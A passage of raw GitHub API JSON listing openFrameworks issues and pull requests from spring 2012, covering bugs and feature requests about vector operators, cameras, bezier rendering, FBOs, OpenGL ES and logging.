generator","color":"444444"}],"created_at":"2012-04-24T20:59:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4269359,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1215"},{"updated_at":"2012-04-30T19:42:14Z","body":"@ofTheo @memo @bilderbuchi @ofZach For your consideration (ref #1200)\r\n\r\n~~~~\r\n\tofVec3f p( 1, 2, 3 ); // p is { 1, 2, 3 }\r\n\tp.set( 4 ); // ok, p is now { 4, 4, 4 }\r\n\tp = ofVec3f( 5 ); // ok, p is now { 5, 5, 5 }\r\n\tp.set( 6, 7 ); // ok, p is now { 6, 7, 0 }\r\n\tp = 8; // generates error 'No match for 'operator=' in 'p = 8'\r\n~~~~\r\n\r\nBehaviour is similar with ofVec2f and ofVec4f.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1205","comments":23,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1205,"assignee":null,"closed_at":null,"title":"Fix ofVec2/3/4f float assignment","labels":[],"created_at":"2012-04-23T22:31:13Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4250445,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1205.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1205.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1205"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1205"},{"updated_at":"2012-04-22T23:56:33Z","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","comments":3,"milestone":null,"number":1202,"assignee":null,"closed_at":null,"title":"ofVideoPlayer etc needs ofColor access","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"created_at":"2012-04-22T18:42:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":4231092,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1202"},{"updated_at":"2012-04-26T18:48:12Z","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","comments":7,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1201,"assignee":null,"closed_at":null,"title":"Feature provocation pull request: ofCamera lens offset","labels":[],"created_at":"2012-04-22T15:55:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4230131,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1201"},{"updated_at":"2012-04-30T19:43:30Z","body":"we used to have operator overloading for float so you could do: myVec = 0.0; \r\nor myScale3f = 100.0; and it would set x y and z to that number. \r\n\r\nat somepoint someone commented it out ( breaking quite a few projects for me ).\r\nanyway I would like to revert that commenting out and restore it to its original behavior. \r\n\r\nthis is what ofVec3f.h currently looks like\r\n\r\n\t//operator overloading for float\r\n\t//\r\n\t//\r\n\t//inline void ofVec3f::operator=( const float f){\r\n\t//\tx = f;\r\n\t//\ty = f;\r\n\t//\tz = f;\r\n\t//}\r\n\r\nI know @memo had some thoughts on this. \r\nAlso would be good to have @ofZach look at this. \r\n\r\nI want to make sure I don't introduce anything unexpected by reverting it to its original behavior. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1200","comments":12,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1200,"assignee":null,"closed_at":null,"title":"fix/feature: restore the = operator overload for ofVec2 / ofVec3 ....","labels":[],"created_at":"2012-04-22T14:24:01Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4229599,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1200"},{"updated_at":"2012-05-14T01:22:17Z","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","comments":8,"milestone":null,"number":1190,"assignee":null,"closed_at":null,"title":"Bezier Shaders & Vector openGL rendering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"created_at":"2012-04-20T09:23:00Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"microbians","id":1662136},"id":4207350,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1190"},{"updated_at":"2012-05-16T09:41:20Z","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1189,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"closed_at":null,"title":"ofSetCurveResolution + ofBezierVertex bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-04-20T08:51:51Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"microbians","id":1662136},"id":4206982,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1189"},{"updated_at":"2012-05-01T04:10:23Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","comments":2,"milestone":null,"number":1186,"assignee":null,"closed_at":null,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-04-18T15:08:32Z","state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"neilmendoza","id":818571},"id":4174070,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1186"},{"updated_at":"2012-05-16T09:44:27Z","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1178,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"julapy","id":331382},"closed_at":null,"title":"OpenGLES2 not working","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-04-16T11:19:36Z","state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"erinnovations","id":253455},"id":4132608,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1178"},{"updated_at":"2012-04-14T13:45:55Z","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","comments":0,"milestone":null,"number":1175,"assignee":null,"closed_at":null,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-04-14T13:45:42Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":4117762,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1175"},{"updated_at":"2012-05-16T09:39:22Z","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1174,"assignee":null,"closed_at":null,"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-04-13T17:09:38Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4108582,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1174"},{"updated_at":"2012-04-14T04:20:36Z","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1173,"assignee":null,"closed_at":null,"title":"ofToHex(string) is wrong for non-ascii input","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-04-13T14:42:30Z","state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"pappis","id":1640543},"id":4104336,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1173"},{"updated_at":"2012-04-12T10:09:42Z","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","comments":0,"milestone":null,"number":1171,"assignee":null,"closed_at":null,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-04-12T10:09:42Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jesusgollonet","id":31100},"id":4081188,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1171"},{"updated_at":"2012-04-13T14:54:18Z","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","comments":2,"milestone":null,"number":1167,"assignee":null,"closed_at":null,"title":"ofNotifyEvent( boolEvent, true ) fails to compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-04-11T12:03:34Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4063456,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1167"},{"updated_at":"2012-04-11T13:21:33Z","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","comments":2,"milestone":null,"number":1166,"assignee":null,"closed_at":null,"title":"ofEvent lacks simple, argument-free use case","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-04-11T12:00:19Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4063417,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1166"},{"updated_at":"2012-04-21T15:41:01Z","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","comments":6,"milestone":null,"number":1165,"assignee":null,"closed_at":null,"title":"ofLogError, ofLogWarning lack format, ... args","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-04-11T11:56:33Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4063366,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1165"},{"updated_at":"2012-04-10T16:47:19Z","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","comments":4,"milestone":null,"number":1152,"assignee":null,"closed_at":null,"title":"grabScreen in ofImage fails on Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-04-09T17:15:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":4032047,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1152"},{"updated_at":"2012-05-16T09:26:13Z","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1151,"assignee":null,"closed_at":null,"title":"shorten + simplify 